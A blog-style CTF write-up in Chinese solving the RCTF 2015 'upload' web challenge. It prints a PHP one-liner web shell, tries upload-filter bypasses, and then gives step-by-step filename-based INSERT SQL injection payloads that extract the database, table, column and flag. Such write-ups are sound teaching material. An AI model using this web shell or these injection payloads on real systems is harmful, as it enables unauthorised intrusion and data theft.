XCTF - web - wp1 (不定期整理)

  • upload ( RCTF - 2015 )

一进入靶场有个登陆注册(看上去像是二次注入,算辽先忍住骚操作,老老实实按部就班)
于是得到下面的上传文件界面:
在这里插入图片描述
结合题目upload,自然按照文件上传漏洞往下做
这里用我最常用的php一句话进行挂小马尝试:

<?= $fun = base64_decode($_REQUEST['fun']);
$arr = array($_POST['shell'] => '/.*/e',);
array_walk($arr, $fun, '');
?>

url : https://www.example.com?fun=cHJlZ19yZXBsYWNl
菜刀连接口令 : shell

保存为shell.php,尝试上传
发现提示Incorrect file extension!

所以用burp抓包尝试绕过:
在这里插入图片描述
先尝试看看00截断+修改content-type+大小写绕过能否成功
结果还是返回非法文件扩展名
坚持不懈一段时间以后,发现正常的png文件等也被过滤,只有jpg文件能通过认证
于是猜测是白名单认证机制
这时候我的大致思路是 挂图片马再去找解析漏洞,getshell
但是很可惜的是没有在靶场发现想要的解析漏洞,此路不通qaq(个人看来

可是有个很有意思的点是在上传完文件后会在原本的页面回显文件名
这时候回显本来很正常,但其他文件上传题一般这时候的回显会带上存储路径,本题则只显示shell.jpg,尝试直接以/shell.jpg访问,发现not found
在这里插入图片描述
而且在回到原页面前,有一段很快跳转走的(看似是上传过程)的页面,察觉到一丝蹊跷
(其实是因为记起…之前有同学和我提过这题不是文件上传题)
可以 这很CTF(不是)
再想想不仅原页面,而且中间很快跳转的那个页面,都有文件名的回显,所以想到了什么???
对!注入!!!(脸黑

那既然有了这个思路,就先fuzz一下(这里用的是自己写的关键词字典)
在这里插入图片描述
在这里插入图片描述
发现返回长度<=640的关键词都被过滤(长度为586的返回信息为sql injection found,也就意味着时间盲注和报错注入被ban)

但所幸的是其他很多关键词未被过滤,或是可以用简单的双写绕过(如select,and,from,union)

因为是上传文件操作,所以首先判断sql语句类型为insert
大致猜测如下:
insert into (unknownTableName) (unknownColName,…) values (‘filename.jpg’,…);

insert型注入最常见的思路是闭合前面的单引号,后用if/case等语句搭配sleep函数爆库爆表爆信息
但前面已经说过sleep函数被ban
这里就只能考虑在插入的数据里加入想要读取的敏感信息,再从回显里读出来
所以构造的payload格式大致如下
filename’+(xxx)+’.jpg
这样sql语句就变成了
insert into (unknownTableName) (unknownColName,…) values (‘filename’+(xxx)+’.jpg’,…);

原理基本捋清,接下来开始最简单的爆库名
payload: ‘+(seselectlect database())+’.jpg
在这里插入图片描述
在这里插入图片描述
发现页面返回0,但payload并没有被过滤,嗷那可能就是在回显上做了过滤
返回0考虑是不是页面限制只能回显数字类型
于是考虑借用hex + conv函数来将返回信息转为十进制
(这里稍微提一下mysql的hex函数,hex函数在输入参数为字符串时,会返回输入参数的十六进制表示形式,其中每个字符被转化为两个十六进制数字)
构造新的payload如下:
’+(conv(hex((seselectlect database())),16,10))+’.jpg
(注意所有的select语句想使用它的返回信息一定要记得加括号)
在这里插入图片描述
发现回显信息不为0了,但是是以科学计数法表示,说明回显限制长度
那就多加一个substr呗(这里以长度为10进行分割)
‘+(conv(hex(substr((seselectlect database()),1,5)),16,10))+’.jpg
在这里插入图片描述
在这里插入图片描述
接下来继续构造类似payload获取后面的库名信息
得到库名web_upload
然后就是常规操作啦
直接给payload

  • 爆表名:’+(conv(hex(substr((seselectlect group_concat(table_name) frfromom information_schema.tables where table_schema=‘web_upload’),1,5)),16,10))+’.jpg
    得到files,hello_flag_is_here
    肯定选择第二个表名啦
    继续!
  • 爆字段名:’+(conv(hex(substr((seselectlect group_concat(column_name) frfromom information_schema.columns where table_name=‘hello_flag_is_here’),1,5)),16,10))+’.jpg
    得到i_am_flag
    最后一步(液
  • 爆flag:’+(conv(hex(substr((seselectlect i_am_flag frfromom hello_flag_is_here),1,5)),16,10))+’.jpg
    拿到flag!!!

!!_@m_Th.e_F!lag

是道带坑的题…而且因为是filename注入,而且到回显的页面前还要两个中间界面跳转(携带cookie),所以暂时没想到怎么写脚本能简化注入步骤ojz
以后有时间再想想叭(或者有带佬在底下给我comment也行呀嘻嘻

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值